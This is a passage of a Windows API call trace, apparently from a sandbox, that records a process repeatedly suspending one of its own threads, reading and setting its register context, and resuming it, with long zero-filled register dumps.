FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0117.246] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0117.324] ResumeThread (hThread=0x130) returned 0x1
[0117.324] CloseHandle (hObject=0x130) returned 1
[0117.324] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.361] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.395] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.484] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.559] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0117.559] SuspendThread (hThread=0x130) returned 0x0
[0117.559] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147388, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15d5465, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0117.632] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147380, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0117.700] ResumeThread (hThread=0x130) returned 0x1
[0117.700] CloseHandle (hObject=0x130) returned 1
[0117.700] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.735] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.769] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.863] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0117.939] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0117.939] SuspendThread (hThread=0x130) returned 0x0
[0117.939] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146bb0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15e2f00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
